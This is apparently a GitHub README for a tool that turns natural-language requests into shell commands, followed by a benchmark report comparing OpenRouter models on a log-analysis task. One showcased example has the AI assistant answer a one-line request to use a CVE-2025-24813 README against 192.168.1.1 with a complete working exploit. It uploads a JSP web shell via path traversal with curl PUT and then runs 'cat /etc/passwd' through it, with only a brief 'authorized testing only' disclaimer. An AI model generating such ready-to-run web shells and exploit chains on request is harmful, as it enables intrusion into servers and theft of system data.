Skip to content

一個輕量化AI 助手,專門幫你把人類語言翻譯成命令列指令

License

Notifications You must be signed in to change notification settings

MOCSCTF/cli-AI-assist

Repository files navigation

CLI AI Assist

CLI AI Assist 是一個輕量化 AI 助手,專門幫你把人類語言翻譯成命令列指令。就像一位超有經驗的系統管理員,熟悉 Windows 和 Linux,幫你快速搞定各種檔案壓縮、目錄管理的需求。

** AI 雖然很厲害,但還是有可能出錯,請務必謹慎使用及根據實際情況進行調整 **
** AI 有機會存儲用戶提交嘅資料,請切勿傳送任何個人資料或密碼。 **

功能特色

  • 按指示生成 Bash 和 PowerShell 指令。
  • 提供詳細又貼心的解決方案,助力理解和學習命令列指令。
  • 即時互動模式,隨時問隨時答。
  • 基準測試(benchmark)模式,測試多種 AI 模型。
  • 環境變數設定,方便整合 API。
  • 閱讀附加說明文件,讓 AI 更了解你的需求。

安裝方式

可於openrouter.ai註冊帳號並取得 API 金鑰(目前低於1美金用量前都不收費, 按gemini-2.0-flash 平均2000 Token/次算,約摸可以用2000次),然後使用以下步驟安裝:

  1. 先把專案下載下來:
     git clone https://github.com/your-repo/cli-AI-assist.git
     cd cli-AI-assist
  2. 安裝需要的套件:
     pip install -r requirements.txt
     python setup.py install --user
     bash --login
  3. 設定環境變數(如使用openrouter 只需輸入API key 其他default 即可):
     ai --setup
  4. 解除安裝:
     pip uninstall cli-ai-assist

基本用法

直接輸入你的需求,AI 會幫你生成命令列指令:
建議指令模式: 用<工具>做<工作>,例如:

  1. 用 tar 壓縮 project
  2. 顯示在 https://pastebin.com/raw/Mycq5TpC 中哪个IP的请求次数最多及查詢其來自哪個國家
  3. 用 curl 下載 https://example.com/file.zip 並解壓縮
ai "用 tar 和 gzip 把 'project' 資料夾壓縮起來。"

範例輸出

Explain:
`tar` 命令用於將多個檔案和目錄封存成一個檔案,而 `gzip` 用於壓縮該封存檔。

*   `tar`: 封存工具。
    *   `-c`: 建立新的封存檔。
    *   `-z`: 使用 gzip 壓縮。
    *   `-v`: 顯示詳細輸出(可選)。
    *   `-f`: 指定封存檔名稱。
    *   `-C`: 更改目錄到指定的路徑後再執行指令。這對壓縮相對路徑非常有用。
*   `gzip`: 壓縮工具 (透過 `tar` 的 `-z` 選項使用)。
`~/project`: 指定要封存和壓縮的資料夾。 如果資料夾名稱包含空格,則必須將其用引號括起來。 使用 `-C` 選項,我們可以導航到 "project" 資料夾的父目錄,並指定資料夾名稱,以便正確儲存相對路徑。
Command > tar -czvf project.tar.gz -C ~ project # 如果系統沒有 tar,請執行:sudo apt-get install tar
ai -a ../CVE-2025-24813/README.md 對192.168.1.1使用
Running in Bash
Model: gemini-2.0-flash
Explain:
该解决方案使用`curl`命令模拟PoC步骤,通过PUT请求上传包含恶意代码的JSP文件到目标服务器,然后通过GET请求访问该文件,执行`cat /etc/passwd`命令。

*   **步骤1:上传恶意JSP文件**

    *   `curl -X PUT`: 使用PUT方法发送HTTP请求。
    *   `"http://192.168.1.1/uploads/../webapps/ROOT/updates.jsp"`: 目标URL,利用路径遍历漏洞将文件上传到可执行目录。
    *   `-H "Content-Type: application/x-jsp"`: 设置Content-Type为`application/x-jsp`。
    *   `--data-raw`: 指定要上传的原始数据。
    *   `'<%...%>'`: 包含Java代码的JSP内容,用于执行命令。这段代码会创建一个表单,允许用户通过GET请求传递`cmd`参数,并在服务器上执行该命令。
    *   `-i`: 显示HTTP响应头部。
*   **步骤2:执行命令并获取结果**

    *   `curl "http://192.168.1.1/updates.jsp?cmd=cat /etc/passwd"`: 发送GET请求,通过`cmd`参数传递要执行的命令(`cat /etc/passwd`)。
    *   `-i`: 显示HTTP响应头部。

注意:
1.  该命令存在风险,仅限授权测试,严禁用于非法用途。
2.  该命令会尝试覆盖目标服务器上的`updates.jsp`文件,请谨慎操作。
3.  如果目标服务器没有运行在80端口,请在IP地址后添加正确的端口号 (e.g., `http://192.168.1.1:8080/...`).
Command > curl -X PUT "http://192.168.1.1/uploads/../webapps/ROOT/updates.jsp" -H "Content-Type: application/x-jsp" --data-raw '<%@ page import="java.io.*" %><html><body><form method="GET"><input type="text" name="cmd"><input type="submit" value="Run"></form><% if(request.getParameter("cmd") != null) {Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));String l; while((l=r.readLine())!=null){ out.println(l+"<br>"); } } %></body></html>' -i; curl "http://192.168.1.1/updates.jsp?cmd=cat /etc/passwd" -i # 仅限授权测试,严禁用于非法用途. 如果服务器端口不是80,请修改URL (e.g., http://192.168.1.1:8080/...)

互動模式

啟動互動模式,隨時輸入需求:

ai --interactive

在互動模式下輸入指令,還可以直接執行。

基準測試模式

用基準測試模式試試多種 AI 模型: ** 目前只支持單個base url **

ai -b -m models.txt "生成20個隨機ip和機名"

附加說明文件

附加加強AI的知識庫的說明文件(例如工具的README.md),讓AI更了解你的需求:

ai -a ./README.md 安裝這個專案

針對Openrouter上比較熱門的模型測試(Gemini 2.5 pro 分析生成😁) 20250417

引言

本報告旨在根據提供的基準測試數據 (生成數據.txt)、價格信息 (price.txt) 以及系統提示 (systemprompt.txt),客觀評估不同 AI 模型在執行特定 Bash 腳本任務時的表現。該任務要求模型生成一個 Bash 命令,用於分析來自指定 URL (https://pastebin.com/raw/Mycq5TpC) 的日誌數據,找出請求次數最多的 IP 地址,並查詢該 IP 所屬的國家。評估將涵蓋代碼質量、可讀性與解釋、對問題的理解、成本效益、速度、遵循指示情況以及運行結果等多個維度,最終選出表現最佳的 MVP (Minimum Viable Product) 模型,並針對不同優先級提供建議方案。

評估標準

  • 運行結果 (Result Quality): 命令是否成功執行?結果(目標 IP: 95.108.151.244, 國家: RU/Russia)是否正確?錯誤處理是否得當? (評分: 0=失敗/無輸出, 1=部分成功/結果錯誤, 3=成功但方法欠佳/依賴性強, 5=成功且方法可靠)
  • 命令質量 (Command Quality):
    • 正確性與健壯性: 命令邏輯是否正確?能否處理潛在問題(如工具缺失、API 錯誤)?是否優先使用標準、可靠的方法(API > whois > geoiplookup)?
    • 效率: 命令流程是否簡潔高效?
    • 工具選擇與依賴: 是否提及或處理了非標準工具(如 geoiplookup, jq, whois)的依賴? (評分: 0=語法錯誤/無法執行, 1=依賴未說明且失敗, 2=依賴已說明但失敗/方法不可靠, 3=依賴已說明或方法尚可, 4=健壯且依賴少, 5=非常健壯高效)
  • 可讀性與解釋 (Readability/Explanation): explain 標籤中的解釋是否清晰、準確、易懂?command 本身是否格式良好?context 是否準確? (評分: 0=無解釋/上下文, 1=解釋不清/錯誤, 3=解釋尚可/基本準確, 4=解釋清晰準確, 5=解釋非常詳盡且準確)
  • 遵循系統提示 (Adherence to System Prompt): 是否包含 context, explain, command 標籤?是否提供單一、可執行的命令?是否符合企業級、安全的要求?語言是否匹配(繁體中文)? (評分: 0=完全不符, 2=部分缺少標籤/格式錯誤, 4=基本符合要求, 5=完全符合所有要求)
  • 成本效益 (Cost-Effectiveness): 結合 price.txt 的 Cost 數據與運行結果評估。 (評分: 0=失敗/成本極高, 1=成本高昂, 3=成本適中, 4=成本較低, 5=成本極低且成功)
  • 速度與效率 (Speed/Efficiency): 結合 生成數據.txt 的執行時間和 price.txt 的 Speed (tps) 及 Token 數評估。 (評分: 0=極慢/Token極多, 2=較慢/Token多, 3=速度/Token適中, 4=較快/Token合理, 5=非常快/Token高效)

(評分說明:0=無/差, 1=較差, 2=中等偏下, 3=中等/尚可, 4=良好/優, 5=極佳/完美)

數據源

  • 生成數據.txt: 各模型針對用戶提示的基準測試結果(包含輸出、執行時間、Token數)。
  • price.txt: 部分模型在特定時間點的 API 調用成本、Token 數及速度。
  • systemprompt.txt: 指導 AI 模型回應格式和內容的系統提示。
  • 用戶提示: 顯示在 https://pastebin.com/raw/Mycq5TpC 中哪个IP的请求次数最多及查詢其來自哪個國家
  • 正確答案: IP: 95.108.151.244, 國家: RURussia

不同優先級推薦方案

根據綜合分析,針對不同需求,推薦以下模型:

  1. 最高性價比 (平衡 - MVP): openai/gpt-4.1-mini

    • 理由 (綜合評分約 4.5/5): 成功使用可靠的公共 API (ip-api.com) 解決問題,避免了本地工具依賴。命令簡潔高效,解釋清晰(評分4),遵循指示(評分5)。在所有成功的 API 方案中,成本相對較低 ($0.00101,評分4),生成速度快 (6.81s,評分4),輸出 Token 合理 (430,評分4)。提供了最佳的質量、可靠性與成本的平衡點。運行結果正確可靠(評分5),命令質量高(評分5)。
  2. 質量優先: google/gemini-2.5-pro-preview-03-25

    • 理由 (綜合評分約 4.2/5): 生成了高質量的解決方案,使用可靠 API (ipinfo.io),並在 awk 命令中巧妙地嵌入了 curl 調用進行國家查詢,無需額外步驟,技術上很優雅(命令質量評分5)。解釋非常詳細和清晰,對問題理解透徹(評分5)。運行結果正確(評分5),遵循指示(評分5)。雖然成本 ($0.00904,評分2) 和執行時間 (23.95s,評分2) 相對較高,但優先考慮代碼質量和解釋深度時,它是極佳的選擇。(openai/o3-mini-high 作為備選,方法類似但成本更高,解釋同樣優秀)。
  3. 價錢優先: google/gemini-2.0-flash-001

    • 理由 (綜合評分約 3.8/5): 在所有 成功執行並返回正確結果 的模型中,此模型成本最低 ($0.000369,評分5)。它使用了 whois 命令查詢國家,雖然此方法健壯性不如 API 調用(依賴 whois 安裝和輸出格式,命令質量評分3),但在本次測試環境下是有效的(運行結果評分3)。解釋尚可(評分4),遵循指示(評分5),速度快 (6.19s,評分4)。如果首要目標是盡可能降低成本,並且可以接受 whois 的潛在限制,則此模型是首選。如果必須使用 API 且追求低價,meta-llama/llama-4-maverick ($0.000511,評分4) 是次優選擇,但需要額外安裝 jq(命令質量評分3)。

模型表現摘要表

模型 (Model) 運行結果 (Result)¹ 命令質量 (Cmd Qual.)² 可讀性/解釋 (Read/Expl.)³ 遵循提示 (Adherence)⁴ 成本效益 (Cost Eff.)⁵ 速度/效率 (Speed/Eff.)⁶ 成本 (Cost)⁷ 執行時間 (Sec) Tokens (In/Out) 備註 (Notes)
google/gemini-2.0-flash-001 3 (成功, whois) 3 (可) 4 (良) 5 (優) 5 (優) 4 (良) $0.000369 6.19 877 / 703 價錢優先選項。使用 whois,結果正確。提了 geoiplookup 備選。
openai/gpt-4o-mini 0 (失敗) 1 (差) 4 (良) 5 (優) 1 (差) 4 (良) $0.000336 4.48 815 / 357 依賴 geoiplookup,測試環境失敗。
google/gemini-2.5-pro-preview-03-25 5 (成功, API) 5 (優) 5 (優) 5 (優) 2 (中) 2 (中) $0.00904 23.95 877 / 794 質量優先選項。可靠 API,awk 內嵌 curl,解釋詳細。
meta-llama/llama-4-maverick 3 (成功, API需jq) 3 (可) 4 (良) 5 (優) 4 (良) 4 (良) $0.000511 4.78 822 / 456 價錢優先 API 備選。需裝 jq。國家名非縮寫。
mistralai/mistral-7b-instruct-v0.2 0 (無命令) 0 (無) 0 (無) 0 (無) 1 (差) 4 (良) $0.000329 5.76 997 / 649 未能生成有效命令。
anthropic/claude-3.7-sonnet 1 (部分成功) 2 (中) 3 (可) 5 (優) 1 (差) 3 (可) $0.0119 11.91 957 / 600 IP和次數成功,國家查詢未完整顯示,重複執行了日誌分析。
anthropic/claude-3.7-sonnet:thinking 5 (成功, API) 4 (良) 5 (優) 5 (優) 0 (差) 1 (差) $0.0575 49.63 986 / 3636 結果正確,解釋優,但成本極高,耗時長,輸出 Token 多。
x-ai/grok-3-beta 1 (部分成功) 1 (差) 4 (良) 5 (優) 1 (差) 2 (中) $0.0119 19.14 805 / 630 IP 和計數正確,但國家解析錯誤 (輸出 success)。成本較高。
x-ai/grok-3-mini-beta 0 (無命令) 0 (無) 0 (無) 0 (無) 1 (差) 3 (可) $0.000455 14.27 806 / 426 未能生成有效命令。
deepseek/deepseek-chat-v3-0324 3 (成功, whois) 3 (可) 4 (良) 5 (優) 4 (良) 2 (中) $0.00057 31.24 837 / 324 使用 whois,結果正確,但耗時較長。
qwen/qwen-2.5-72b-instruct 0 (失敗) 1 (差) 4 (良) 5 (優) 1 (差) 3 (可) $0.000234 10.30 815 / 321 依賴 geoiplookup,測試環境失敗。
qwen/qwq-32b 5 (成功, API) 3 (可) 0 (無) 2 (中) 3 (可) 0 (差) $0.000705 99.18 818 / 2913 使用可靠 API,結果正確,但執行時間極長,輸出 Token 多,缺少解釋。
meta-llama/llama-4-scout 0 (失敗) 1 (差) 4 (良) 5 (優) 1 (差) 4 (良) $0.000189 6.88 810 / 413 依賴 geoiplookup,測試環境失敗。
qwen/qwen-turbo 0 (失敗) 1 (差) 4 (良) 5 (優) 1 (差) 4 (良) $0.000123 4.91 815 / 409 依賴 geoiplookup,測試環境失敗。成本最低的模型之一。
deepseek/deepseek-r1-distill-llama-70b 0 (失敗) 1 (差) 4 (良) 5 (優) 1 (差) 2 (中) $0.000364 21.47 813 / 666 依賴 geoiplookup 失敗。[[ $? -ne 0 ]] 在 sh 中可能報錯。
openai/gpt-4.1 3 (成功, whois) 3 (可) 4 (良) 5 (優) 2 (中) 3 (可) $0.00554 12.11 815 / 489 更新: 成功使用 whois,結果正確,解釋良好,但成本相對較高。
openai/gpt-4.1-mini 5 (成功, API) 5 (優) 4 (良) 5 (優) 4 (良) 4 (良) $0.00101 6.81 815 / 430 MVP/平衡選項。可靠 API,解釋佳,命令簡潔有效,成本適中。
openai/o4-mini-high 3 (成功, whois) 3 (可) 5 (優) 5 (優) 1 (差) 1 (差) $0.0193 39.92 814 / 4180 使用 whois,結果正確。解釋詳細,但成本高,耗時長,輸出 Token 異常多。
openai/o4-mini 0 (語法錯誤) 0 (無) 4 (良) 5 (優) 0 (差) 3 (可) $0.00651 16.24 814 / 1277 嘗試使用 read 重定向,產生語法錯誤。成本效益因失敗計為0。
openai/o3-mini-high 5 (成功, API) 5 (優) 5 (優) 5 (優) 2 (中) 3 (可) $0.0109 16.97 814 / 2279 質量優先備選。可靠 API,grep 解析 JSON,解釋詳細,但成本較高,輸出 Token 多。
openai/o3-mini 5 (成功, API) 5 (優) 5 (優) 5 (優) 2 (中) 3 (可) $0.00798 10.57 814 / 1609 使用可靠 API,命令簡潔有效,解釋清晰。成本相對較高。
openai/gpt-4.1-nano 0 (無命令) 0 (無) 0 (無) 0 (無) 1 (差) 5 (優) $0.000253 3.25 815 / 428 未能生成有效命令。成本非常低。

表注釋:
¹ 運行結果 (Result): 0=失敗/無輸出, 1=部分成功/結果錯誤, 3=成功但方法欠佳/依賴性強 (whois/需jq), 5=成功且方法可靠 (API)。(無/差/中/可/良/優)
² 命令質量 (Cmd Qual.): 0=語法錯誤/無, 1=差(依賴未說明且失敗/不可靠), 2=中(依賴已說明但失敗/方法不可靠), 3=可(依賴已說明/方法尚可), 4=良(健壯且依賴少), 5=優(非常健壯高效/可靠)。(無/差/中/可/良/優)
³ 可讀性/解釋 (Read/Expl.): 0=無, 1=差/誤, 3=可, 4=良, 5=優。(無/差/可/良/優)
遵循提示 (Adherence): 0=不符, 2=中(部分缺少/錯誤), 4=良(基本符合), 5=優(完全符合)。(無/中/良/優)
成本效益 (Cost Eff.): 0=失敗/極高, 1=差(高/部分成功), 2=中, 3=可, 4=良(較低), 5=優(極低且成功)。基於 price.txt (若有) 和結果。(無/差/中/可/良/優)
速度/效率 (Speed/Eff.): 0=差(極慢/Token極多), 1=差, 2=中(慢/多), 3=可(中), 4=良(快/合理), 5=優(極快/高效)。基於執行時間和 Tokens。(差/中/可/良/優)

詳細分析

  1. 成功執行的模型及其方法:

    • API 方案 (最優): google/gemini-2.5-pro-preview-03-25, meta-llama/llama-4-maverick (需 jq), anthropic/claude-3.7-sonnet:thinking, openai/gpt-4.1-mini, qwen/qwq-32b, openai/o3-mini-high, openai/o3-mini 都成功使用了 ipinfo.ioip-api.com 等公共 API 查詢國家信息。這通常是最可靠的方法,不受本地工具或數據庫的限制。日誌分析部分 (curl | awk/grep | sort | uniq | sort | head) 邏輯基本一致且正確。gemini-2.5-proawk 內嵌 curl 方案尤為巧妙。o3-mini-high 使用 grep 解析 JSON 也很有效。gpt-4.1-minixargs + bash -c 方式簡潔明了。
    • Whois 方案 (次優): google/gemini-2.0-flash-001, deepseek/deepseek-chat-v3-0324, openai/o4-mini-high, and openai/gpt-4.1 使用了 whois 命令查詢。雖然在此次測試中成功,但 whois 的輸出格式可能不標準化,依賴 grep 提取特定字段(如 "country:")的健壯性相對較差,且 whois 工具可能需要單獨安裝。o4-mini-high 的 Token 數異常高。gpt-4.1 成本相對其他 whois 方案較高。
  2. 失敗或依賴特定工具的模型:

    • geoiplookup 依賴 (普遍失敗): 大量模型(openai/gpt-4o-mini, qwen/qwen-2.5-72b-instruct, meta-llama/llama-4-scout, qwen/qwen-turbo, deepseek/deepseek-r1-distill-llama-70b)選擇了 geoiplookup 工具。由於該工具並非所有系統預裝,且需要 GeoIP 數據庫,在本次測試環境中均失敗。即使部分模型提示安裝,命令本身無法直接運行,對於需要立即可用解決方案的場景不適用。
    • 解析/邏輯錯誤: x-ai/grok-3-beta 在解析 API 返回的 JSON 時出錯。anthropic/claude-3.7-sonnet 的國家查詢部分未成功顯示,且有重複下載/分析日誌的問題。
    • 語法錯誤: openai/o4-mini 使用了與 sh 不兼容的重定向語法。deepseek/deepseek-r1-distill-llama-70b[[ ]] 條件判斷在 sh 中可能出錯。
    • 無輸出: mistralai/mistral-7b-instruct-v0.2, x-ai/grok-3-mini-beta, openai/gpt-4.1-nano 未能生成任何有效命令。
  3. 成本與效率考量:

    • 低成本陷阱: 成本最低的一批模型(如 qwen-turbo, llama-4-scout, gpt-4.1-nano, mistral-7b, gpt-4o-mini 等)大多因為依賴 geoiplookup 或未能生成命令而失敗,體現了低價不一定能解決問題。
    • 成功中的低成本: google/gemini-2.0-flash-001 ($0.000369) 是成功的最低成本選擇(依賴 whois)。meta-llama/llama-4-maverick ($0.000511) 是成功的次低成本(API 但需 jq)。openai/gpt-4.1-mini ($0.00101) 是成功的 API 方案中成本相對較低的。
    • 高成本選項: openai/gpt-4.1 ($0.00554), gemini-2.5-pro ($0.00904), claude-3.7-sonnet ($0.0119), grok-3-beta ($0.0119), o3-mini-high ($0.0109), o4-mini-high ($0.0193), sonnet:thinking ($0.0575) 成本顯著更高。其中 sonnet:thinking, o4-mini-high, qwq-32b, o3-mini-high, o3-mini 的輸出 Token 數量也偏多,可能導致成本進一步增加。
    • 執行時間: qwen/qwq-32b (99s), sonnet:thinking (49s), o4-mini-high (39s), deepseek-chat (31s), gemini-2.5-pro (23s) 耗時較長,可能影響交互體驗。其他多數模型在 10-15 秒內完成生成。
  4. 遵循指示情況:

    • 大多數成功運行的模型(特別是 OpenAI 和 Google 的模型)都較好地遵循了 systemprompt.txt 的要求,提供了 [context], [explain], [command] 標籤,並使用了用戶指定的語言(繁體中文)。
    • 部分模型(如 qwen/qwq-32b, mistralai/mistral-7b, x-ai/grok-3-mini, openai/gpt-4.1-nano)未能提供完整的解釋或命令。
    • 提供備選方案或安裝說明的模型(如 google/gemini-2.0-flash-001, meta-llama/llama-4-maverick) 體現了更好的健壯性考慮。

結論

本次評測顯示,不同 AI 模型在處理具體的、帶有實際執行需求的技術任務時,表現差異顯著。

  • 對於需要與外部環境交互(如下載文件、調用 API、檢查本地工具)的任務,模型的選擇對結果的成功率和可靠性至關重要。許多模型傾向於使用 geoiplookup,但在缺乏該工具的環境下會失敗。
  • 基於公共 API (如 ipinfo.io, ip-api.com) 的解決方案通常比依賴本地特定工具 (geoiplookup, whois) 的方案更具通用性和健壯性,是企業級應用的首選。
  • 模型成本與性能並非完全正相關。部分中低成本模型(如 openai/gpt-4.1-mini)在特定任務上可以達到甚至超過高成本模型的表現,展現出良好的性價比。
  • 輸出 Token 數量和生成時間也是評估模型效率的重要指標,部分模型可能過於冗長或耗時過長,影響使用體驗和成本。
  • 模型的 "智能程度"(如 gemini-2.5-proawk 技巧)和遵循指令的嚴格性(如 OpenAI 模型普遍較好)也是重要的考量因素。

選擇模型時,應根據具體任務需求、對外部依賴的容忍度、預算限制、對解釋詳細程度的要求以及對執行速度的需求進行權衡。以上提供的推薦方案旨在幫助用戶根據自身優先級做出更合適的選擇。

授權

這個專案是用 MIT 授權的,詳情請看 LICENSE 檔案。

About

一個輕量化AI 助手,專門幫你把人類語言翻譯成命令列指令

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages